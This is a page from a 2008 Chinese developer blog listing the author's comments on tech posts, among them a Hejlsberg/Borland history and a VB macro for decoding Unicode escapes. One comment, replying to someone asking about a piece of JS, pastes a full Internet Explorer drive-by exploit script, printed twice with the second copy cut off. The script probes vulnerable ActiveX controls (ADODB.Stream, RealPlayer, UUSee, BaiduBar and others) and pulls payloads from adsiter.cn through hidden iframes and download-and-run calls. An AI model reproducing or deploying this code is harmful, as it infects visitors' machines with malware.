鸟食轩

 Microsoft .NET[C#] MVP 2003
随笔 - 423, 文章 - 229, 评论 - 5375, 引用 - 189
数据加载中……

我的评论

共38页: 1 2 3 4 5 6 7 8 9 下一页 末页 
回头能不能弄个和aspnetpager的比较呢?很期待
费cpu啊。。。
字符串扫描,正则引擎,编码转换,都不是省油的灯
有机会看看AE,那才真的是华丽的UI。。。
// after effect
re: 公告 birdshome 2008-07-15 17:45  
怎么弄个了“黄金时间”移动机器呀-_-!!!
// 宅急送后来怎么解决的啊?
re: 在Windows 2003下使用QuickCam birdshome 2008-07-15 17:42  
@netwjx
Ae, 这帽子扣的。。。XP不支持4G内存啊。。。用Server图个稳定,,,
re: IE灭绝!? birdshome 2008-07-15 15:17  
数据党
re: 亲兄弟明算账--创业[2] birdshome 2008-07-09 16:48  
创业?就是,有几个合适的人,在一个合适的时间,做一件合适的的事情。
任缺其一都扯淡,要不然地球人都创业去了,,,
re: 亲兄弟明算账--创业[2] birdshome 2008-07-08 14:41  
这样的一堆人根本就不该在一起创业
@ocean
有理有节,奈斯:)
我也困惑,凡是看到所Vista不行、垃圾、失败的地方,都是“众所周知”。。。从来都是言之无物,空洞无物。难到这就是-众知党?
法拉利运猪
-_-!!!
dw现在对asp.net支持如何呢?
re: 当上微软MVP了 birdshome 2008-07-02 16:59  
mvp也可以由自己的立场的,而且这是对你过去一年的肯定
re: 成为MVP birdshome 2008-07-02 16:57  
@咖啡猪
most valuable pig... //grin
re: 哈哈,成为MVP了 birdshome 2008-07-02 16:56  
恭喜:)
re: 最近的一些随感——简历 birdshome 2008-06-26 22:45  
对于做技术的人来说,这简历还真不是那么好写。首先你要打动HR(基本是不懂技术的),然后又希望面试官感兴趣(技术面试),这两拨人的评价标准基本就是对立的。
我觉得程序员就是太实在,但又不得不实在,就这样。
"我想这一定不是当年列林倡导的财富再分配"
re: 让193FW显示1440x900还真不容易 birdshome 2008-06-20 03:51  
byebye
re: 引用《兄弟连》中的对话 birdshome 2008-06-20 00:12  
巴顿这段我也喜欢,读完后有种洞悉时空的感觉

凯旋回家后,今天在座的弟兄们都会获得一种值得夸耀的资格。二十年后,你会庆幸自己参加了此次世界大战。到那时,当你在壁炉边,孙子坐在你的膝盖上,问你:“爷爷,你在第二次世界大战时干什么呢?”你不用尴尬地干咳一声,把孙子移到另一个膝盖上,吞吞吐吐地说:“啊……爷爷我当时在路易斯安那铲粪。”与此相反,弟兄们,你可以直盯着他的眼睛,理直气壮地说:“孙子,爷爷我当年在第三集团军和那个狗娘养的乔治·巴顿并肩作战!”
这个纯真IP数据库的官方更新在哪里呢?
@武眉博<活靶子.Net>
虽然这样没有直接指着内存模组吹来的好,但是风扇出去的风不是收敛的,而是发散开的,所以内存也就能被吹到。CPU扇子是向内存的反方向吹的,所以邦上个扇叶只是增加了重量,不会太影响拿破仑的散热的。
脚本加密,无聊之极
现在都是1T的家用盘盘了,真快
楼上用空调当机箱风扇?-_-
re: TinyURL的API birdshome 2008-06-16 20:20  
如果不是永久,就没有什么价值了,或者买指定名字的tingurl,用于书中或出版物中引用倒也不错
re: 转: 致Delphi终将逝去的青春 birdshome 2008-06-16 16:56  
大师是如何离开borland的。。。

Anders Hejlsberg,是丹麦人,曾在丹麦科技大学学习工程学。1981年前,Anders Hejlsberg 在丹麦有个公司叫Poly Data,他编写了Pascal编译器核心,最初叫Compass Pascal,后来叫Poly Pascal。1981年,Anders把该编译器核心授权给了Borland。Anders作为雇员加入公司,并且是后来所有Pascal版本与Delphi前3个版本的架构师。作为 Borland 的首席体系结构设计师,Hejlsberg 秘密地将 Turbo Pascal 变成一种面向对象的、拥有真正可视化的环境和卓越的数据库访问特性的应用程序开发语言Delphi。

1996年,Anders Hejlsberg在Delphi3发布前离开Borland去了MS。

在此之前,MS曾多次企图挖走Anders, 但都没有成功。据信anders去MS(主要)不是钱的问题,虽然MS的开价也相当有吸引力: 130万美元年薪外加股票期权和分红,总计超过300万美元。主要原因是Anders和Delphi开发组的其他成员在修改编译器的问题上发生了争执;还有,据Borland内部人讲,Anders认为自己不再是“不可缺少的人”。

Anders在Delphi3中几乎没有做什么工作,Chuck Jazdzewski扮演了一个更重要的角色。(--Anders Ohlsson) Anders在Borland时把所有精力都放在了Pascal产品上,也需要新的挑战,由于Bill Gates的亲自邀请,并许诺挑战的机会,Anders加入了Microsoft。果然,在Microsoft,Anders 在Visual J++开发中扮演了一个重要的角色,然后是C#的设计者,主要的架构设计师,以及.Net的架构设计师之一。(--Marco Menardi)

Microsoft 用丰厚的薪水、股票认购权和巨额的加盟奖金雇请了 Hejlsberg 之后,Borland 曾提出通过不正当手段吸收新成员的控告。Borland 还曾声称 — 提供了很少的细节来支持指控 — Hejlsberg 正在开发“Delphi for Java”。这场诉讼最终以 Borland 的胜利而收场;但是从那时起,Microsoft 已在让 Hejlsberg 工作了。

2001年4月12日,Anders获得Dr. Dobb杂志2000年度编程杰出奖。
re: 发布新博客模板-夏日芝兰 birdshome 2008-06-16 16:46  
首页的标题不支持html了,不过文章还是支持的
建议提供一个关闭边栏的选项,这样对于那些只有很窄内容区域的模板比较有意义,面的文章被弄得很长,其实没啥内容
当然被关闭的边栏还需要弄个按钮来开启哈
怎么会还没有成功啊???我都要晕倒了,,,你要修改一下模块名,改成和代码里的一样。。。
Public Module Birdshome
   Sub Unicode2Character()
       Dim doc AsDocument = DTE.ActiveDocument
       Dim docText AsTextDocument = doc.Object
       Dim selText AsTextSelection = docText.Selection()
       selText.SelectAll()
       Dim text As String = selText.Text
       Dim iLength As Integer
       Do
           iLength = text.Length
           Dim m As Match
           Dim strPattern AsString = "(?<code>\\[ux][A-F0-9]{2,4})"
           m = Regex.Match(text, strPattern, RegexOptions.IgnoreCase)
           If m.Success Then
               Dim strValue AsString
               strValue = m.Groups("code").Value
               Dim digitLength AsInteger = strValue.Length - 2
               text = text.Replace(strValue, "")
               Dimint As Integer
               int = System.Int32.Parse(strValue.Substring(2, digitLength),NumberStyles.HexNumber)
               Dim ch As Char = ChrW(int)
               docText.ReplacePattern(strValue, ch)
           Else
               Exit Do
           End If
           If Nottext.Length < iLength Then
               Exit Do
           End If
       Loop
       selText.StartOfDocument()
   End Sub
End Module
// 增加了对\x??这种形式的转换支持
re: 这段js代码请高人指点一下 birdshome 2008-06-16 14:44  
// 你这个主题好难受啊。。。
try{
    
var
 e;
    
var ado=document.createElement("object"
);
    
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
);
    
var as=ado.createobject("Adodb.Stream",""
)
}
catch(e) {
}
;
finally
{
    
if(e!="[object Error]"
{
        document.write(
"<script src=http:\/\/adsiter.cn\/ms06014.js><\/script>"
)
    }
else {
        
try
{
            
var
 f;
            
var Flashver=(new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version").split(","
)
        }
catch(f) {
        }
;
        
finally
{
            
if(f!="[object Error]"
{
                
if(navigator.userAgent.toLowerCase().indexOf("msie")>0
{
                    document.write(
'<embed src="http://adsiter.cn/'+Flashver[2]+'.swf"></embed>'
)
                }

            }

        }
try{
            
var
 g;
            
var storm=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1"
)
        }
catch(g) {
        }
;
        
finally
{
            
if(g!="[object Error]"
{
                
var url="http://adsiter.cn/"
;
                storm
=document.createElement("object"
);
                ActivePerl
="-1C59-4BBB-8E8"
;
                getSpraySlide
="1-6E83F82C813B"
;
                helloworld2Address
="clsid:2CACD7BB"
;
                storm.setAttribute(
"classid",helloworld2Address+ActivePerl+
getSpraySlide);
                storm[
"Update"]("\\Program Files\\Common Files\\uusee\\",url+"UU.ini","",1
)
            }

        }
try{
            
var
 h;
            
var glworld=new ActiveXObject("GLIEDown.IEDown.1"
)
        }
catch(h) {
        }
;
        
finally
{
            
if(h!="[object Error]"
{
                document.write(
'<iframe style=display:none src="http://adsiter.cn/GLWORLD.html"></iframe>'
)
            }

        }
try{
            
var
 i;
            
var real=new ActiveXObject("IERPCtl.IERPCtl.1"
)
        }
catch(i) {
        }
;
        
finally
{
            
if(i!="[object Error]"
{
                
if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552"
{
                    document.write(
'<sCrIpT LAnGuAgE="jAvAsCrIpT" src=http:\/\/adsiter.cn\/real.js><\/script>'
)
                }
else {
                    document.write(
'<iframe style=display:none src="http://adsiter.cn/Real.html"></iframe>'
)
                }

            }

        }
try{
            
var
 j;
            
var Baidu=new ActiveXObject("BaiduBar.Tool"
)
        }
catch(j) {
        }
;
        
finally
{
            
if(j!="[object Error]"
{
                Baidu[
"DloadDS"]("http://adsiter.cn/Baidu.cab","Baidu.exe",0
)
            }

        }
if(f=="[object Error]"&&g=="[object Error]"&&h=="[object Error]"&&i=="[object Error]"{
            
try
{
                
if(new ActiveXObject("DPClient.Vod"))document.write('<iframe width=100 height=0 src=http://adsiter.cn/Thunder.html></iframe>'
)
            }
catch(e) {
            }

        }

    }

}
try{
    
var
 e;
    
var ado=document.createElement("object"
);
    
if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
);
    
var as=ado.createobject("Adodb.Stream",""
)
}
catch(e) {
}
;
finally
{
    
if(e!="[object Error]"
{
        document.write(
"<script src=http:\/\/adsiter.cn\/ms06014.js><\/script>"
)
    }
else {
        
try
{
            
var
 f;
            
var Flashver=(new ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$version").split(","
)
        }
catch(f) {
        }
;
        
finally
{
            
if(f!="[object Error]"
{
                
if(navigator.userAgent.toLowerCase().indexOf("msie")>0
{
                    document.write(
'<embed src="http://adsiter.cn/'+Flashver[2]+'.swf"></embed>'
)
                }

            }

        }
try{
            
var
 g;
            
var storm=new ActiveXObject("UUUPGRADE.UUUpgradeCtrl.1"
)
        }
catch(g) {
        }
;
        
finally
{
            
if(g!="[object Error]"
{
                
var url="http://adsiter.cn/"
;
                storm
=document.createElement("object"
);
                ActivePerl
="-1C59-4BBB-8E8"
;
                getSpraySlide
="1-6E83F82C813B"
;
                helloworld2Address
="clsid:2CACD7BB"
;
                storm.setAttribute(
"classid",helloworld2Address+ActivePerl+
getSpraySlide);
                storm[
"Update"]("\\Program Files\\Common Files\\uusee\\",url+"UU.ini","",1
)
            }

        }
try{
            
var
 h;
            
var glworld=new ActiveXObject("GLIEDown.IEDown.1"
)
        }
catch(h) {
        }
;
        
finally
{
            
if(h!=